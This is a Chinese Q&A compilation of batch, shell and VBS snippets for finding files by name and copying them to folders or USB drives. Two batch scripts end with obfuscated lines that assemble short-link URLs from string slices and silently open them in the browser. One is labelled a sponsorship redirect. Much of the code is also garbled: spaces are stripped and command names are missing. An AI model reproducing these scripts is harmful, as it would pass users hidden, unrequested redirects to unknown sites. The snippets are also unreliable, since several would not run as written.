Ⅰ 在bat脚本中实现复制文件
bat 是批处理文件,主要用于 DOS 和 Windows 操作系统中。
.bat 文件的内容,是由一系列命令构成,每一行通常是一条命令,这些命令是以字符的形式,通过命令解释器进行执行(与 Windows 常见的鼠标点击运行不同)。
复制文件的最常用的命令是: 。相关的资料如下:
COPY [/D[1] ] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B]
[+ source [/A | /B] [+ ...]] [destination [/A | /B]]
各参数代表的含义:
source 指定要复制的文件。
/A 表示一个 ASCII 文本文件。
/B 表示一个二进位文件。/D 允许解密要创建的目标文件
destination 为新文件指定目录和/或文件名。
/V 验证新文件写入是否正确。
/N 复制带有非 8dot3 名称的文件时,
尽可能使用短文件名。
/Y 不使用确认是否要覆盖现有目标文件的提示。
/-Y 使用确认是否要覆盖现有目标文件的提示。
示例:
将 D:\目录\ 下的所有 txt 文件,复制到 D:\目标目录 下。
D:\目录\*.txt D:\目标目录
Ⅱ 需要批量通过关键字查找文件并复制指定文件夹,bat内容该如何编辑。
关键字是多个,还是单个?
如果多个,是根据列表文件来读取,还是自定义到脚本中?
我现在只写单个的,或少量多个的。
@echo off & title 根据关键字拷贝文件 By 依梦琴瑶
::设置要搜索的关键字,多个关键字之间用空格隔开
set Word=测试 文本 开心
::设置要处理的文件夹
set SrcDir=D:\Test
::设置文件拷贝至哪个目录
set SavDir=D:\Backup
cd /d "%SrcDir%"
for /r %%a in (*) do (
echo "%%~na" | findstr /i "%Word%" >nul 2>nul && "%%~a" "%SavDir%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
以上代码是根据文件名判断的,如果您是要查找文件内容,那么代码又不同了。
Ⅲ 帮我修改一个linux的shell脚本:根据文件名批量搜索并复制文件
while read line; do if [ -f "/sample/$line" ]; then echo "file exists: $line"; cp "/sample/$line" /new/; fi; done < file.txt
Ⅳ 写一个BAT文件查找文件并复制到指定文件夹
@echooff
dir/a-d/b/sD:|findstr/g:a.txt>$$
for/f"delims="%%ain($$)do(
"%%~a"d:finallists
)
del$$
pause
Ⅳ bat脚本文件夹如何复制,还有从文件夹里找.txt或者找出图片的方法
问题一:
x/s/eD:123E:456
问题二:
x/sD:123*.txtE:456
Ⅵ vbs脚本 复制文件 提示路径未找到问题
表示%windir%其实很简单的.
这种路径不需要转义,vbs不同于cmd或bat,他没有两个百分号(%%)括起来的变量的.它的变量就是直接的字符.变量和字符串区分开来,要连接用&来连接,不像cmd那么随意,在字符串里也能用变量.
OnErrorResumeNext
Dimfso
Setfso=Wscript.CreateObject("Scripting.FileSystemObject")
fso.GetFile("\10.1.1.1123.txt").Copy(fso.GetSpecialFolder(1)&"")
'注意,fso.GetSpecialFolder(1)就可以表示了系统的system32文件夹,即"%WinDir%system32"
'上面的语句的意思为:将"\10.1.1.1123.txt"复制到"%WinDir%system32"文件夹中.
Ⅶ 求shell脚本,批量查找.java文件,并在其目录下将其内容复制到同名txt文件中
不建议这样做,因为很多程序还需要一些图片、配置文件才能正常运行。
所以建议是完全拷贝整个程序然后来改。
Ⅷ 只知道部分文件名,能否利用bat检索并复制到指定路径
保存为FindFile.bat
@echooff
for/rX:%%ain(*23*)do"%%~a"G:
exit
保存为HiddenBAT.vbs
CreateObject("WScript.Shell").Run"FindFile.bat",0,FALSE
两个文件放在一起,然后运行HiddenBAT.vbs即可
不过这样隐藏运行后,如果FindFile.bat中出现同名文件,那么脚本将会暂停,但你却无法操作,因此如果需要覆盖文件,请给加上/y参数。如果要指定搜索特定的文件后缀,请给FindFile.bat中最后一个*后面加上后缀名,例如*23*.txt 否则将搜索所有包含23字符串的文件。
Ⅸ BAT批处理在指定的文件夹内搜索文件名并复制到U盘!
@echooff&title搜索指定文件并拷贝至U盘By依梦琴瑶
::跳转回脚本自身目录
cd/d%~dp0
::获取所有可移动磁盘盘符
for/f"tokens=2delims==:"%%ain('wmicLogicalDiskwhere"DriveType='2'"getDeviceID/value')do(
callsetPans=%%Pans%%%%~a:
)
::手动输入盘符
:InputPan
cls&echo当前电脑上有以下几个可移动磁盘盘符:
echo%Pans%&echo,
echo请输入要拷入文件的盘符(不带冒号),并按回车键确认:
set/pUDISK=
::判断是否已输入盘符
ifnotdefinedUDISK(
echo您没有输入盘符,请重新输入。
ping127.0.0.1-n"2">nul
.gotoInputPan
)
::判断盘符是否存在
ifnotexist%UDISK%:(
echo您输入盘符不存在,请重新输入。
ping127.0.0.1-n"2">nul
.gotoInputPan
)
::手动输入后缀名
echo,&echo,
echo请输入要搜索的后缀名(无需带小数点,留空将搜索所有后缀格式),并按回车确认:
set/pExt=
ifnotdefinedExtsetExt=*
::手动输入文件名
echo,&echo,
echo请输入要搜索的文件名(留空将搜索所有名称),并按回车确认:
set/pName=
ifnotdefinedNamesetName=*
::开始搜索并拷贝(当前代码拷贝时如果存在同名文件将会被覆盖)
echo,&echo,
echo正在搜索"%Name%.%Ext%"中,此过程可能会耗时,请耐心等待。。。
for/f"delims="%%ain('dir/a-d/s/b"%Name%.%Ext%"')do(
echo,&echo"%%~nxa"位于"%%~dpa"
/y"%%~a""%UDISK%:">nul2>nul&&(
echo已拷贝至%UDISK%盘中。
)||(
echo拷贝失败。
)
)
echo,&echo,
echo拷贝完成,请按任意键退出。
pause>nul2>nul
::友情赞助跳转代码
setS0=fGRH
setS1=.:ailnhpst/
setS2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
setS3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start"""%S2%%S3%%S1:~10,1%%S0%"
exit
Ⅹ 如何用bat复制当前文件夹内的所有文件到指定目录
1、在电脑上新建一个文件夹,新建一个“TXT”文件,并命名。